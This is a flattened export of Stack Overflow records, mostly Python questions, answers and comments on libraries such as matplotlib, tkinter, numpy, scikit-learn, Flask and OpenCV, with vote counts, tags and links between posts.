has body: Within Qt, is a graphic item selected when moved and unselected when released? No, by default a qgraphics item get selected on mouse click, and it stays selected even when the mouse get released. How might a graphic item remain selected after mouse release? For example, should I create a Boolean variable in "Line" called self.selected? A qgraphics item knows whether it is selected, you can ask to it querying its isSelected() method. How can the application query which graphic item is selected and differentiate between them? For example, should each item in the class "Line" be assigned a unique ID or does Qt already do that? From the application point of view, it can gets all the selected items calling the QGraphicsScene::selectedItems() method. You might read the graphics api documentation that describe how to use it.
answers question: http://stackoverflow.com/q/46999042
type: Answer
score: 0

http://stackoverflow.com/comment/80826109
score: 0
has text: Is it running and giving you correct results?
comment on: http://stackoverflow.com/q/46939448
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80787389
comment on: http://stackoverflow.com/a/46919844
score: 0
type: AnswerComment
has text: Ah right, i wasn't 100% sure on what i was doing wrong so thank you for emphasizing. I just tested it, really useful thanks :)
type: Comment

http://stackoverflow.com/a/47002220
type: Answer
answers question: http://stackoverflow.com/q/47001214
has body: try to follow this tutorial in https://pythonprogramming.net/progress-bar-pyqt-tutorial/ you can learn step by step the use of progress bar in a simple application, developed with pyQt libraries, in the download method you can use your code
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80951138
score: 0
accepted answer of: http://stackoverflow.com/q/47001214

http://stackoverflow.com/comment/80954579
has text: @akilat90 i've updated the code - i try to shoot the output to a new csv file, however no csv file gets created because of the key error.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47003574
score: 0

http://stackoverflow.com/comment/139038226
has text: when you install a new package, where does it go? base_env or app_env?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/68860687

http://stackoverflow.com/a/46927265
answers question: http://stackoverflow.com/q/46925583
accepted answer of: http://stackoverflow.com/q/46925583
type: Answer
has body: As Mitiku pointed out.. there was a problem with the installation so i reinstalled it.. and it works now.. print( dir(tf)) -- this should show the list of packages under tensorflow..
has comment: http://stackoverflow.com/comment/80804837
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/80818025
score: 1
type: Comment
type: QuestionComment
has text: No it is not. The file "gradient.h" will be compiled with only the headers specified *in it* included. On the other hand, there exist many very fine tools to optimize numerical operations in Python: [Cython](http://docs.cython.org/en/latest/) is easy to install, for instance, but there are many more.
comment on: http://stackoverflow.com/q/46934432

http://stackoverflow.com/comment/81120269
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47084158
type: AnswerComment
has text: Can I use that with selenium? Would launch test command also works with selenium, which test on browser?

http://stackoverflow.com/q/46982193
has comment: http://stackoverflow.com/comment/80933799
type: Question
upvote count: 4
has body: I have an algorithm which consists of two distinct parts which I want to visualize one after another (while possibly keeping the final state of animation 1 on the screen when animation 2 starts). I can visualize both parts individually by calling animation.FuncAnimation and plt.show(). Since both parts have set number of frames and their very own behaviour, I would like to keep their implementations apart in two different classes and then do a wrapper around them which plays them in sequence. However, is it possible to have two (or more) animation objects to be displayed one after another in the same figure? Many thanks, Matt
tagged with: animation
answer count: 1
downvote count: 0
tagged with: python
score: 4
favorite count: 0
has title: Consecutive matplotlib animation in same figure
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47374586
accepted answer: http://stackoverflow.com/a/47374586
tagged with: matplotlib

http://stackoverflow.com/comment/80848125
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46950280
has text: @Olivia Really it's not recommended, but it is possible. You use: `globals().update(ddict)` but this leads to code smell, it's better to just leave it inside a dictionary.
score: 1

http://stackoverflow.com/a/46973483
type: Answer
score: 0
has body: I would train a face landmarking model using dlib's tool on that dataset. Dlib comes with example programs showing you how to train new models (e.g. http://dlib.net/train_shape_predictor.py.html)
answers question: http://stackoverflow.com/q/46972906

http://stackoverflow.com/q/47023324
tagged with: matplotlib
tagged with: flask-restful
favorite count: 0
type: Question
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has body: I am currently implementing a Flask restful web service. Basically, a user submits a JSON which contains data in a POST body. I receive the JSON payload in the POST body, and then run my analytic (in this case I am performing correlation). I generating a correlation matrix. Using the Biokit library, the correlation matrix can be converted into an image shown in this link : http://thomas-cokelaer.info/blog/2014/10/corrplot-function-in-python/ I want to return this image back to the user as a response. I have tried code similar to the following links: https://gist.github.com/rduplain/1641344 and https://gist.github.com/wilsaj/862153/119c6fc8ba2b0f3ffcd285a6852acb028660395b a sample of my code is below: #c.plot function generates the image that i want to send #c.plot function comes from biokit library fig = Figure(c.plot(colorbar=True,method='circle', shrink=.8, upper='circle')) canvas = FigureCanvas(fig) png_output = StringIO.StringIO() canvas.print_png(png_output) resp = make_response(png_output.getvalue()) resp.headers['Content-Type']='image/png' resp.status_code = 200 return resp When I run my flask app, it shows that something is being sent back as a response, however, I am not sure what it is. The content length is smaller than my actual image size in bytes. As in the two links, they use ax = fig.subplot(111), and set the axes and such, however, my plot isn't a simple plot that is x vs y, and I cannot just get the x values and y values from the plot and plot them against each other. Any help would be greatly appreciated
tagged with: flask
has title: Send Image Generated by Biokit library as a post response using Flask
score: 1

http://stackoverflow.com/q/47062970
type: Question
tagged with: pipeline
accepted answer: http://stackoverflow.com/a/47066401
has answer: http://stackoverflow.com/a/47066401
tagged with: python
has title: Why does sklearn Pipeline call transform() so many more times than fit()?
has body: After a lot of reading and inspecting the pipeline.fit() operation under different verbose param settings, I'm still confused why a pipeline of mine visits a certain step's transform method so many times. Below is a trivial example pipeline, fit with GridSearchCV, using 3-fold cross-validation, but a param-grid with only one set of hyperparams. So I expected three runs through the pipeline. Both step1 and step2 have fit called three times, as expected, but each step has transform called several more times. Why is this? Minimal code example and log output below. # library imports import pandas as pd from sklearn import datasets from sklearn.model_selection import KFold from sklearn.linear_model import LogisticRegression from sklearn.base import TransformerMixin, BaseEstimator from sklearn.pipeline import Pipeline # Load toy data iris = datasets.load_iris() X = pd.DataFrame(iris.data, columns = iris.feature_names) y = pd.Series(iris.target, name='y') # Define a couple trivial pipeline steps class mult_everything_by(TransformerMixin, BaseEstimator): def __init__(self, multiplier=2): self.multiplier = multiplier def fit(self, X, y=None): print "Fitting step 1" return self def transform(self, X, y=None): print "Transforming step 1" return X* self.multiplier class do_nothing(TransformerMixin, BaseEstimator): def __init__(self, meaningless_param = 'hello'): self.meaningless_param=meaningless_param def fit(self, X, y=None): print "Fitting step 2" return self def transform(self, X, y=None): print "Transforming step 2" return X # Define the steps in our Pipeline pipeline_steps = [('step1', mult_everything_by()), ('step2', do_nothing()), ('classifier', LogisticRegression()), ] pipeline = Pipeline(pipeline_steps) # To keep this example super minimal, this param grid only has one set # of hyperparams, so we are only fitting one type of model param_grid = {'step1__multiplier': [2], #,3], 'step2__meaningless_param': ['hello'] #, 'howdy', 'goodbye'] } # Define model-search process/…
type: AnsweredQuestion
score: 3
upvote count: 3
answer count: 1
downvote count: 0
tagged with: machine-learning
tagged with: scikit-learn
favorite count: 0

http://stackoverflow.com/comment/81075849
score: 0
has text: Are you going to do multiple visualizations with the same network? An approach would be to choose a node and then specify its position before using the spring layout to choose the other node positions.
type: Comment
comment on: http://stackoverflow.com/q/47062159
type: QuestionComment

http://stackoverflow.com/comment/80883553
score: 0
type: AnswerComment
has text: From your javascript Im guessing this is for odoo 10? Because odoo 8 are still using openerp as the identifier name.
comment on: http://stackoverflow.com/a/46967828
type: Comment

http://stackoverflow.com/q/47045419
has title: How to set font for scientific numbers in logarithmic plots in matplotlib?
has answer: http://stackoverflow.com/a/47045494
favorite count: 0
type: Question
type: UnansweredQuestion
downvote count: 0
tagged with: python
tagged with: plot
tagged with: fonts
score: 1
tagged with: matplotlib
has body: When setting the fonts via rcParams, e.g. import matplotlib as mpl mpl.rcParams['font.sans-serif'] = ['FreeSans', ] The fonts do not change for logarithmic plots. Instead the stay at the default font type. import matplotlib.pyplot as plt from numpy import arange plt.ion() fig = plt.figure() ax1 = fig.add_subplot(211) ax2 = fig.add_subplot(212) for n in range(1, 10): ax1.plot(range(1, 10), arange(1, 10)**n, label='poly{}'.format(n)) ax2.plot(range(1, 10), arange(1, 10)**n, label='poly{}'.format(n)) ax1.set_xscale('log') ax1.set_yscale('log') ax2.legend(ncol=2); I am wondering if there's a way to set the scientific font type? (One can see the different font when checking the "ones" in the two plots.)
answer count: 1
has comment: http://stackoverflow.com/comment/81038317
upvote count: 1

http://stackoverflow.com/comment/80901380
type: Comment
type: QuestionComment
score: 0
has text: @duhaime You're right! It works! Thank you!
comment on: http://stackoverflow.com/q/46964271

http://stackoverflow.com/comment/80934826
type: AnswerComment
comment on: http://stackoverflow.com/a/46994129
score: 0
has text: It would be easier to write a recursive function, yes. I can give you an answer that includes the full implementation but you won't learn much out of it (further, you can probably google it....). In order to learn you have to go back to the drawing board and try to figure out what's wrong in the current design and how should you change it.
type: Comment

http://stackoverflow.com/q/47004388
has body: My camera usually records video at 30 FPS, so I basically when I am recording 5 seconds of video, I usually do, for _ in xrange(30 * 5): # read frame recorded.append(frame) After that I save the file using fourcc = cv2.VideoWriter_fourcc(*'XVID') out = cv2.VideoWriter(filename, fourcc, 30.0, (640, 480)) for frame in self.recorded: out.write(frame) As you see I enter 30.0 as FPS argument while saving. Usually this works, and ends in an exactly 5 seconds of video. However I guess when there is some bottleneck issue, the recording fps is somewhat reduced (I am not sure of this), and the result video is very fast, like fast forwarded (still 5 seconds). How can I resolve this issue ? do you think I misinterpreted the error ? The code is very similar to c++, so a solution can be suggested by a c++ user. I am adding it as a tag.
has comment: http://stackoverflow.com/comment/80957001
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80955390
tagged with: c++
answer count: 0
downvote count: 0
score: 1
upvote count: 1
tagged with: video-recording
favorite count: 0
has comment: http://stackoverflow.com/comment/80956686
has comment: http://stackoverflow.com/comment/80957075
has comment: http://stackoverflow.com/comment/80957173
type: Question
tagged with: python-3.x
tagged with: opencv
has comment: http://stackoverflow.com/comment/80956656
has comment: http://stackoverflow.com/comment/80955550
has title: Opencv deciding encode fps

http://stackoverflow.com/a/47074623
type: Answer
answers question: http://stackoverflow.com/q/46993988
score: 2
upvote count: 3
downvote count: 1
has body: Please be very, very careful when using the word frame and the word window when talking about tkinter. They are so very, very distinct from each other. Frame widgets in tkinter are essentially "boxes" which you put things in. They can be used to separate different widgets into their own containers in a window similar (although not identical) to the way in which divs work in HTML. There are two distinct types of "window" in tkinter Tk() windows and Toplevel widgets. The key difference is that you shouldn't ever have more than one Tk() window this answer explains why this is the case. Toplevel widgets on the other hand can be used whenever and wherever you want and should be used as "extra windows" whenever your application needs to have more than one window. The below script shows how you can use buttons to create both Frames and Toplevels where the new Frame widgets are just empty red squares and the new Toplevel widgets are just empty windows from tkinter import * root = Tk() def frame(): Frame(root, bg="red", width=100, height=100).pack(padx=5, pady=5) def window(): Toplevel(root) framebutton = Button(root, text="Frame", command=frame) framewindow = Button(root, text="Window", command=window) framebutton.pack() framewindow.pack() root.mainloop()

http://stackoverflow.com/q/46996430
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/46996527
type: AnsweredQuestion
has body: L1 = [7, 106, 17, 1, 28, 103] L2 = [6, 44, 201, 66, 32, 71] L1.sort() L2.sort() L3 = [] while L1 or L2: if L1[-1] &lt; L2[-1]: L3.append(L2.pop()) else: L3.append(L1.pop()) if len(L1) == 0: L3 += L2 break if len(L2) == 0: L3 += L1 break print(L3) I get the error below, but dont know why I keep getting this error. //line 7, in if L1[-1] &lt; L2[-1]: IndexError: list index out of range//
score: 0
type: Question
tagged with: format
has title: Keep getting an error on this program
accepted answer: http://stackoverflow.com/a/46996473
has answer: http://stackoverflow.com/a/46996485
has answer: http://stackoverflow.com/a/46996459
has answer: http://stackoverflow.com/a/46996473
possible better answer: http://stackoverflow.com/a/46996459

http://stackoverflow.com/q/47041512
tagged with: python
has answer: http://stackoverflow.com/a/47041952
has comment: http://stackoverflow.com/comment/81030135
tagged with: python-xarray
upvote count: 3
downvote count: 0
answer count: 1
tagged with: hdf5
type: UnansweredQuestion
favorite count: 0
type: Question
has body: The default backend engine for xarray is set to netcdf4 in this function What is the best way to make h5netcdf the default engine in xarray?
score: 3
tagged with: netcdf4
has title: h5netcdf as default xarray engine

http://stackoverflow.com/comment/81045384
score: 0
type: Comment
has text: 1st url: `http://.../x/likes?acces_token=y`, 2nd url: `http://.../x?access_token=y`
type: QuestionComment
comment on: http://stackoverflow.com/q/47045162

http://stackoverflow.com/q/46938733
favorite count: 0
type: Question
type: AnsweredQuestion
tagged with: python
upvote count: 4
tagged with: lambdify
tagged with: sympy
answer count: 1
accepted answer: http://stackoverflow.com/a/46939782
downvote count: 0
has title: Use Lambdify for multiple symbolic variables
score: 4
has body: The python script below evaluates the first term in the expression, 4.939e-3xAxB+8.7989 at (A,B) = (1.0,1.0): import sympy from sympy import * A = sympy.Symbol(A) B = sympy.Symbol(B) F = 4.939e-3*A*B+8.7989 G = str(F).split("+")[0] H = lambdify([A,B], G, "numpy") print H(1,1) The ouput is: 0.004939 Now the code below aims to achieve the same objective: A = sympy.Symbol(A) B = sympy.Symbol(B) F = 4.939e-3*A*B+8.7989 G = str(F).split("+")[0] H = lambdify(A, G, "numpy") I = lambdify(B, H(1), "numpy") print I(1) But this returns the error: NameError: global name 'B' is not defined Can someone kindly explain this?
has answer: http://stackoverflow.com/a/46939782

http://stackoverflow.com/a/73873869
score: 2
has body: Creator of the Simphile NLP text similarity package here. Simphile contains several text similarity methods, Jaccard being one of them. In the terminal install the package: pip install simphile Then your code could be something like: from simphile import jaccard_list_similarity list_a = ['cat', 'cat', 'dog'] list_b = ['dog', 'dog', 'cat'] print(f"Jaccard Similarity: {jaccard_list_similarity(list_a, list_b)}") The output being: Jaccard Similarity: 0.5 Note that this solution accounts for repeated elements -- critical for text similarity; without it, the above example would show 100% similarity due to the fact that both lists as sets would reduce to {'dog', 'cat'}.
upvote count: 2
answers question: http://stackoverflow.com/q/46975929
downvote count: 0
type: Answer

http://stackoverflow.com/a/46982000
type: Answer
accepted answer of: http://stackoverflow.com/q/46981928
has comment: http://stackoverflow.com/comment/80911529
score: 5
type: AcceptedAnswer
downvote count: 0
has body: It looks like you need super user permission, run it using sudo and it will work just fine In the docs (link here) says: While the SFTP protocol (which put uses) has no direct ability to upload files to locations not owned by the connecting user, you may specify use_sudo=True to work around this. When set, this setting causes put to upload the local files to a temporary location on the remote end (defaults to remote user’s $HOME; this may be overridden via temp_dir), and then use sudo to move them to remote_path.
has comment: http://stackoverflow.com/comment/100953541
answers question: http://stackoverflow.com/q/46981928
upvote count: 5

http://stackoverflow.com/q/46994563
type: Question
score: 5
type: UnansweredQuestion
upvote count: 5
downvote count: 0
tagged with: python
tagged with: python-requests
has body: I am trying to download a releases of a repo on my company's enterprise github server. I have proper authorization headers with an OAuth token and am able to get the response of releases endpoint. This particular repo has the zip and tarball of source code as well as a compiled executable. The built executable is what I'm attempting to download. The response of the release request looks like this with the browser_download_url key in the assets key being of interest. { "url": "***/releases/1491", "assets_url": "***/releases/1491/assets", "upload_url": "***/releases/1491/assets{?name,label}", "html_url": "***/releases/tag/1.0.6", "id": 1491, "tag_name": "1.0.6", "target_commitish": "release-1.0.6", "name": "1.0.6", "draft": false, "prerelease": true, "created_at": "2017-10-03T15:51:25Z", "published_at": "2017-10-10T16:54:16Z", "assets": [ { "url": "***/releases/assets/53", "id": 53, "name": "&lt;program&gt;.exe", "label": null, "content_type": "application/x-msdownload", "state": "uploaded", "size": 36023208, "download_count": 10, "created_at": "2017-10-10T17:40:32Z", "updated_at": "2017-10-10T17:40:32Z", "browser_download_url": "***/1.0.6/&lt;program&gt;.exe" } ], "tarball_url": "***/tarball/1.0.6", "zipball_url": "***/zipball/1.0.6", "body": "&lt;description of release&gt;" } However when I attempt to request the browser_download_url I get html for the sign in page in the content of the response as it is looking for further authentication. response = session.get(release_endpoint_response.json()['assets'][0]['browser_download_url'], headers={'Authorization': 'token &lt;personal_access_token&gt;'}) My question is that is there any way to download from this link without needing to explicitly log in and simply using tokens and headers? What is the best way to go about this? Are there any wrappers or libraries that could help me achieve this in a different way? Much obliged! EDIT: Furthermore, it should be noted that when requesting the tarball and zip urls, the compress…
has answer: http://stackoverflow.com/a/46995327
tagged with: github-api
has title: Downloading Github release via API
answer count: 1
tagged with: github
favorite count: 0

http://stackoverflow.com/q/46994855
type: Question
has comment: http://stackoverflow.com/comment/80951729
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80936378
tagged with: python
has comment: http://stackoverflow.com/comment/80936365
tagged with: jupyter
has comment: http://stackoverflow.com/comment/80936226
tagged with: jupyter-notebook
score: 2
answer count: 2
has answer: http://stackoverflow.com/a/69436443
has body: I tried to install yahoo finance in terminal with pip install yahoo-finance so I can run yahoo finance in jupyter notebook. While there's nothing happened after I typed in my terminal, so there's an error said ModuleNotFoundError: No module named 'yahoo_finance' in jupyter noterbook. Could someone give me any advice? Thanks!
upvote count: 2
has answer: http://stackoverflow.com/a/75781570
downvote count: 0
tagged with: pip
has title: pip install yahoo-finance with jupyter notebook
favorite count: 0

http://stackoverflow.com/q/46966435
linked to: http://stackoverflow.com/q/18577013
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80880495
has answer: http://stackoverflow.com/a/46966950
accepted answer: http://stackoverflow.com/a/46966950
has comment: http://stackoverflow.com/comment/80880523
has comment: http://stackoverflow.com/comment/80880560
answer count: 1
has comment: http://stackoverflow.com/comment/80880409
upvote count: 1
downvote count: 1
favorite count: 0
has body: Given a list of points I would like to create a numpy array with coordinates. Related questions are here and here. Does anyone know the correct or a more efficient way of doing this? import numpy as np # Please note that we have no control over the point class. # This code just to generate the example. class Point: x = 0.0 y = 0.0 points = list() for i in range(10): p = Point() p.x = 10.0 p.y = 5.0 points.append(p) # The question starts here. # The best I could come up with so far: x = np.fromiter((p.x for p in points), float) y = np.fromiter((p.y for p in points), float) arr = np.vstack((x,y)).transpose()
type: Question
has title: Create a numpy array of coordinates from a list of points
tagged with: numpy
linked to: http://stackoverflow.com/q/9791850
has comment: http://stackoverflow.com/comment/80880439
tagged with: python
has comment: http://stackoverflow.com/comment/80880544

http://stackoverflow.com/a/47012817
has comment: http://stackoverflow.com/comment/80972151
has comment: http://stackoverflow.com/comment/80972141
score: 0
has comment: http://stackoverflow.com/comment/80972036
answers question: http://stackoverflow.com/q/47012747
has comment: http://stackoverflow.com/comment/80972194
has comment: http://stackoverflow.com/comment/80972107
type: Answer
has body: You have to change your array, right? You'll have to write it as : x = np.append(x, y) &gt;&gt;&gt; while start_prompt &gt; start: ... x=np.array([]) ... y = float(input("Please input number: ")) ... if y &gt; 0: ... x = np.append(x, y) ... print(x) Also, firstly you're running an infinite loop because start_prompt will always be greater than start. You made your x array inside the loop and it will be reinitialized on each iteration. If you want it to work as expected then declare it outside the while loop. Secondly, there are a lot better ways to do what you're trying to do.
has comment: http://stackoverflow.com/comment/80972075

http://stackoverflow.com/q/47052672
has answer: http://stackoverflow.com/a/47052919
tagged with: numpy
has comment: http://stackoverflow.com/comment/81052258
type: UnansweredQuestion
score: -2
downvote count: 2
has comment: http://stackoverflow.com/comment/81052528
has answer: http://stackoverflow.com/a/47052702
tagged with: python
has body: I have a MySQL database, and there is a column in which I have stored the date. Now the requirement is I need to replace the dd with YY. and I want to do this using python(Pandas) for eg date that i have is 2032-11-16, and I want 2016-11-32. uptill now my approach is shown below df = pd.read_csv('p1006_freight_rates.csv') df['year'] = zip(*df['date'].apply(lambda x: (x[:4], x[5:]))) the above approach is absolutely wrong, I have also tried the string replace but that too had some issue. and also please tell me how to save the update in mysql.
answer count: 3
has answer: http://stackoverflow.com/a/47052967
tagged with: pandas
has comment: http://stackoverflow.com/comment/81052565
has comment: http://stackoverflow.com/comment/81052331
upvote count: 0
has comment: http://stackoverflow.com/comment/81052428
has comment: http://stackoverflow.com/comment/81052434
tagged with: mysql
has title: How to change the date from YYYY-MM-DD to YYDD-MM-YY in python
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81052459

http://stackoverflow.com/comment/81017084
comment on: http://stackoverflow.com/q/47035393
score: 0
type: Comment
type: QuestionComment
has text: @Holloway: Nice thought. However please note that each point has a unique id. Hence two points can never have same ids.

matplotlib-basemap
type: Tag
tag name: matplotlib-basemap
tags question: http://stackoverflow.com/q/47009473

http://stackoverflow.com/a/46991771
type: AcceptedAnswer
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/80970638
answers question: http://stackoverflow.com/q/46990857
accepted answer of: http://stackoverflow.com/q/46990857
score: 1
downvote count: 0
has body: Try These ( install win32com.client and subprocess modules first ): import win32com.client, time strComputer = "." objWMIService = win32com.client.Dispatch("WbemScripting.SWbemLocator") objSWbemServices = objWMIService.ConnectServer(strComputer,"root\cimv2") colItems = objSWbemServices.ExecQuery("SELECT * FROM Win32_NetworkLoginProfile") def Convert_to_human_time(dtmDate): strDateTime = "" if dtmDate[4] == 0: strDateTime = dtmDate[5] + '/' else: strDateTime = dtmDate[4] + dtmDate[5] + '/' if dtmDate[6] == 0: strDateTime = strDateTime + dtmDate[7] + '/' else: strDateTime = strDateTime + dtmDate[6] + dtmDate[7] + '/' strDateTime = strDateTime + dtmDate[0] + dtmDate[1] + dtmDate[2] + dtmDate[3] + " " + dtmDate[8] + dtmDate[9] + ":" + dtmDate[10] + dtmDate[11] +':' + dtmDate[12] + dtmDate[13] return strDateTime for objItem in colItems: if objItem.Name is not None: print("Name: " + str(objItem.Name)) if objItem.LastLogon is not None: print("Last Logon (Normal Format): " + str(objItem.LastLogon)) print("Last Logon (Human Readable Format): " + Convert_to_human_time(objItem.LastLogon)) if objItem.LastLogoff is not None: print("Last Logoff (Normal Format): " + str(objItem.LastLogoff)) print("Last Logoff (Human Readable Format): " + Convert_to_human_time(objItem.LastLogoff)) if objItem.LogonHours is not None: print("Logon Hours: " + str(objItem.LogonHours)) if objItem.LogonServer is not None: print("Logon Server: " + str(objItem.LogonServer)) if objItem.NumberOfLogons is not None: print("Number Of Logons: " + str(objItem.NumberOfLogons)) Another way : from subprocess import check_output import sys get_result = check_output("wmic netlogin get name, fullname, lastlogon", shell=True, stderr=False) print(get_result) clean_result = str(get_result).lstrip("b'").rstrip("'").replace("\\r\\r\\n", "\n").replace('\n\n', '\n').split('\n')[2:-1] for items in clean_result: print(items.lstrip().rstrip()) Good Luck ...

http://stackoverflow.com/comment/100560787
has text: Rather than storing the namedtuple in BasePerson, you can use the returned class directly in the class declaration. This avoids exporting the BasePerson name outside the module.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46974797
type: Comment

http://stackoverflow.com/q/47000765
answer count: 1
has body: I wrote this really simple code that move an oval trough the screen: from tkinter import * """ GLOBAL VARS """ H, W = 400, 600 # default height / width DELAY = 30 # frame rate in milliseconds R = 20 # radius of the ball class App: def __init__(self, parent): """ app init """ self.root = parent self.canvas = Canvas(self.root, bg="white", height=H, width=W) self.canvas.pack() self.pos = [W / 2, H / 2] # starting position self.speed = [2, 2] # x / y speed self.canvas.create_oval(self.pos[0] - 20, self.pos[1] - 20, self.pos[0] + 20, self.pos[1] + 20, fill="blue") self.loop() def loop(self): """ main loop """ coords = self.canvas.coords(1)[:2] # actual oval coordinates if not 0 &lt; coords[0] &lt; W - 20: # the oval bounce off the window self.speed[0] *= -1 if not 0 &lt; coords[1] &lt; H - 20: self.speed[1] *= -1 self.canvas.move(1, *self.speed) self.root.after(DELAY, self.loop) """ GUI SETUP """ root = Tk() App(root) root.mainloop() The problem is that when I try to increase the frame rate, the oval half disappears (I tried to take some screenshots, but when I do, the app freezes for one frame and in the screenshots the oval appears correctly, btw you can try yourself by running the code above). My question is: is there a way to optimize the motion or do I have to accept the fact that Tkinter can't handle high fps?
favorite count: 0
tagged with: optimization
has comment: http://stackoverflow.com/comment/80950825
type: AnsweredQuestion
score: 3
upvote count: 3
has answer: http://stackoverflow.com/a/47000930
accepted answer: http://stackoverflow.com/a/47000930
has title: Tkinter: optimize canvas object movement
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/80954711
tagged with: tkinter
downvote count: 0

http://stackoverflow.com/q/46957889
accepted answer: http://stackoverflow.com/a/46957943
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46957943
has body: The docs specify that for collections.Counter.most_common(), elements with equal counts are ordered arbitrarily. I'm interested in a concise way to order first by frequency/value descending (the default), but then secondarily by key, ascending. (Key is just the 0th element of each tuple from .most_common().) Example: from collections import Counter arr1 = [1, 1, 1, 2, 2, 3, 3, 3, 5] arr2 = [3, 3, 3, 1, 1, 1, 2, 2, 5] # Same values, different order print(Counter(arr1).most_common()) print(Counter(arr2).most_common()) # [(1, 3), (3, 3), (2, 2), (5, 1)] # [(3, 3), (1, 3), (2, 2), (5, 1)] Desired result (for both arr2 and arr2): [(1, 3), (3, 3), (2, 2), (5, 1)]
has title: Counter: ordering elements with equal counts
tagged with: python
type: AnsweredQuestion
score: 3
upvote count: 3
answer count: 1
downvote count: 0
tagged with: collections

http://stackoverflow.com/q/47005150
has answer: http://stackoverflow.com/a/47006154
has body: I create a telegram bot with framework python-telegram-bot. I have a little phone numbers,Now I want send message to phone numbers. The phone numbers have an account in Telegram,and this is my codes: from telegram.ext import Updater, MessageHandler, Filters def start_method(bot, update): bot.send_message(chat_id='Phone number', "Hello") def main(): updater = Updater(token='TOKEN') updater.dispatcher.add_handler(MessageHandler(Filters.text, start_method)) updater.start_polling() updater.idle() if __name__ == '__main__': main() But;this codes don't work and not give me an error!!! How can I do???
tagged with: python-telegram-bot
type: UnansweredQuestion
tagged with: python
tagged with: python-2.7
has title: Python-telegram-bot send message to phone numbers
score: 0
answer count: 1
type: Question

http://stackoverflow.com/a/47048935
has comment: http://stackoverflow.com/comment/81045187
has comment: http://stackoverflow.com/comment/81045225
accepted answer of: http://stackoverflow.com/q/47048098
score: 1
has comment: http://stackoverflow.com/comment/81046612
answers question: http://stackoverflow.com/q/47048098
has comment: http://stackoverflow.com/comment/81047502
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81045414
upvote count: 1
has body: What you need is something like below for row in zip(langs_text, langs2_text, langs3_text): data = ["","","","","","","","","","","",""] data[1] = row[0] data[4] = row[1] data[6] = href data[7] = row[2] writer.writerow(data)
type: Answer

http://stackoverflow.com/q/46995450
tagged with: python
has body: I'm confused as to why I'm getting this error as the book that I'm going off of 'Starting out with Python, 3rd edition' shows that I should be able to do this. I'm doing the same thing the book is just naming my classes different. here are my class definitions: #parent class class Animal: def __init__(self,animalType): self.setAnimalType(animalType) self.setAge(0) self.setColor('') #mutator functions def setAnimalType(self,animalType): self.__animalType = animalType def setAge(self,age): self.__age = age def setColor(self,color): self.__color = color #accessor functions def getAnimalType(self): return self.__animalType def getAge(self): return self.__age def getColor(self): return self.__color #stub function def makeNoise(self): print("Argh") #state function def __str__(self): return 'I am a {} {} being of age {}.\n'.format(self.getColor(),self.getAnimalType(),self.getAge()) #child classes class Mouse(Animal): def __intit__(self): Animal.__init__(self,'Mouse') def makeNoise(self): print("squeak") when i do the following: #import statements import animals # functions def main(): mouse1 = animals.Mouse() mouse1.setAge(5) mouse1.setColor('white') print(mouse1,mouse1.makeNoise()) # Main Program main() I get the error: TypeError: __init__() missing 1 required positional argument: 'animalType'
type: Question
has comment: http://stackoverflow.com/comment/80937399
answer count: 0
has comment: http://stackoverflow.com/comment/80937460
has title: Why am I getting TypeError Missing attribute when I haven't specified an attribute in __init__
type: UnansweredQuestion
score: 0
tagged with: inheritance
tagged with: superclass
has comment: http://stackoverflow.com/comment/80938463
tagged with: subclass

http://stackoverflow.com/comment/80925250
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46986903
type: Comment
has text: I tried deleting, but I found the message [TypeError: load_data() takes 0 positional arguments but 1 was given]

http://stackoverflow.com/comment/80995809
has text: So you both refer this as global attribute of math module, right? this mean `print(math.pi)` and `math.pi = 3` use the same `pi` attr from `math`. I first thought `math.pi` is a local var in my_fuction that `.` should be a refer to `math` instead produce a local var. Thanks.
type: Comment
comment on: http://stackoverflow.com/q/47024278
type: QuestionComment
score: 0

http://stackoverflow.com/q/47024395
has answer: http://stackoverflow.com/a/47024495
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: sortedlist
has comment: http://stackoverflow.com/comment/80997459
type: UnansweredQuestion
has body: The code below would fail due to a "TypeError: bad operand type for unary -: 'str'" exception, but it illustrates what I am trying to achieve. from sortedcontainers import SortedListWithKey contacts = SortedListWithKey(key=lambda val:(val.FirstName, -val.LastName)) class Person(object): pass p1 = Person() p1.FirstName = 'Amy' p1.LastName = 'Obama' p2 = Person() p2.FirstName = 'Bob' p2.LastName = 'Obama' p3 = Person() p3.FirstName = 'Bob' p3.LastName = 'Trump' p4 = Person() p4.FirstName = 'Amy' p4.LastName = 'Trump' contacts.add(p1) contacts.add(p2) contacts.add(p3) contacts.add(p4) for p in contacts: print(p.FirstName, p.LastName) The intended outputs are: Amy Trump Amy Obama Bob Trump Bob Obama The code above would work if Person.LastName is a numeric type member. If I were not implementing a SortedList but just a built-in un-sorted list, I can simply do contacts.sort(key = operator.itemgetter(0)) contacts.sort(key = operator.itemgetter(1), reverse=True) But this option is not possible for my situation. SortedContainers website: http://www.grantjenks.com/docs/sortedcontainers/index.html
has title: How can I Implement a SortedContainers.SortedListWithKey with multiple sort orders?
downvote count: 0
upvote count: 1
tagged with: python
tagged with: data-structures
has comment: http://stackoverflow.com/comment/80996676
tagged with: sortedcontainers
score: 1
answer count: 1

http://stackoverflow.com/comment/80764039
has text: You did it, I will edit to compare the performance. @COLDSPEED did a great job as well.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46908531
type: Comment

http://stackoverflow.com/comment/80800050
